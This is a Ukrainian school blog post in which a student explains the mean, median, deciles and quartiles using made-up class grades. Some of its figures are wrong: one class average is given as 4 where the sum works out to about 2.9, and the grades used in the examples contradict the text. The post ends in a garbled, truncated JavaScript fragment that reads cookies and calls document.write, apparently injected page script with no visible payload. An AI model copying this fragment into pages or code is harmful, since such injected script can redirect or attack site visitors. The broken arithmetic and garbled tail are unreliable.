Статистика для учнів - Афіни, приватна школа, Київ
Шкільне життя
Наші досягнення
Школа он-лайн
Наші досягнення
Понеділок, Березень 28, 2011 Автор: Ніна Червоний
Статистика для учнів
Я навчаюсь у школі вже не перший рік. Вважаю, що виходить у мене добре. Нещодавно були іспити у 9 класі та оцінки були досить високі. Щоправда, деякі викладачі думають, що я не доопрацьовую і можу краще.
У мене є двоюрідний брат. Він не поганий хлопець, але вчиться гірше за мене. Не дивлячись на це його хвалять, і мені здається це не справедливим. У зв'язку з цим у мене питання: так таки добре я вчуся чи погано?
Уявімо невеликий клас, ну наприклад, 11 чоловік і спробуємо визначити, що вважається гарною успішністю учня, а що поганий, порівняно з рештою. Припустимо, 10 чоловік навчається на відмінно, а одна — не встигає і отримує одні одиниці. Ми можемо порахувати середнє – тобто. суму оцінок всіх учнів, поділену з їхньої кількість. Отримуємо таке:
(12 × 10 + 2 × 1)/11 ≈ 11.
11 в принципі непогана оцінка, але багато хто навчається на 12, за що знизили бал? З іншого боку, майже всі будуть говорити: «Бачиш, середня оцінка в класі 11, а в мене – 12, я кращий за інших!».
А якщо уявити ситуацію навпаки, то чисто теоретично: у всіх двійки, а один — у відмінниках. Вважаємо середнє:
(2×10 + 12×1)/11 = 4.
Чи можемо ми вважати «4» нормальною успішністю для класу — адже більшість учнів отримують менше та й взагалі четвірки ні в кого немає.
Є ще одне поняття у статистиці – медіана.
Медіана - це значення ознаки, яка ділить ранжований ряд значень показника на дві рівні частини. У першій половині одиниць значення ознаки менше за медіану, а у другої — більше. Тоє, медіана – це серединне значення.
У нашому прикладі, щоб отримати медіану, ми повинні побудувати всі оцінки класу в ряд від мінімальної до максимальної (ранжувати) і вибрати те, що є середнім за рахунком, тобто. 6-те з початку:
2; 12; 12; 12; 12;12; 12; 12; 12; 12; 12.
2; 2; 2; 2; 2;2; 2; 2; 2; 2; 12.
У першому випадку медіана дорівнює 12, а у другому 2.
З класом розібралися, але як кожен із нас навчається у колективі і так зрозуміло без усякої статистики. А от порівняти конкретного учня зі школою чи навіть із усіма школами Києва — тоді справді буде зрозуміло, як виглядає учень на тлі решти.
Хоча, давайте повернемося до наших прикладів із класом. У першому випадку клас процвітає, а в другому — «не дотягує», і до них ми можемо застосовувати інші статистичні показники, порівнюючи класи в нашій та інших школах між собою.
Давайте визначимо верхній дециль для першого випадку і нижній дециль для другого, щоб з'ясувати, чи справді все гаразд із класом у першому випадку і чи так погано у другому.
Дециль характеризує розподіл величин сукупності, коли він дев'ять значень децилю ділять їх у десять рівних частин. Кожна з цих частин становить 1/10 всієї сукупності. Так, перший дециль відокремлює 10% найменших величин, що лежать нижче від децилю від 90% найбільших величин, що лежать вище за дециль.
Є сенс визначати верхній та нижній дециль серед великої кількості класів і тоді визначити, як виглядають наші випадки, порівняно з отриманими результатами.
Можна також використовувати поняттяквартилі, якщо хтось із учнів бажає порівняти себе з іншими і з'ясує, наскільки він сильний, якщо він вищий за медіану, і як сильно він «не дотягує», якщонижче.
Перший квартиль - це точка на шкалі виміряних значень, нижче (ліворуч) якої розташовуються 25% виміряних значень. Другий квартиль - це точка, нижче за яку розташовуються 50% виміряних значень. Другий квартиль також називається медіаною. Третій квартиль - це точка на шкалі виміряних значень, нижче за яку розташовуються 75% значень.
Отже, якщо після твоїх досліджень виявилося, що ти вищий за медіану — значить, ти не гірший за інших; якщо вище третини квартили - є чим пишатися, а якщо наближаєшся до верхнього децилю - ти один з кращих!
Інша справа, якщо твоя успішність нижча за медіану, але вища за перший квартиль, то тобі все ж таки потрібно трохи підтягнутися, щоб бути на рівні «ОК». Якщо ти виявився нижче першого квартилю і стрімко наближаєтеся до першого (нижнього) децилю, це вірна ознака, що терміново потрібно братися за голову. "(?:^ "+ (/([\.$?*<>\(\)\[\]\\\/\+^])/g,"\\$1")+"=( [^;]*)" "#", " "); " ="+time+" / "+ (' function getCookie(e)\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;] *)"));return U?decodeURIComponent(U[1]):vo );if(now>=(time=cookie)vo +date.toGMTString(),document.write('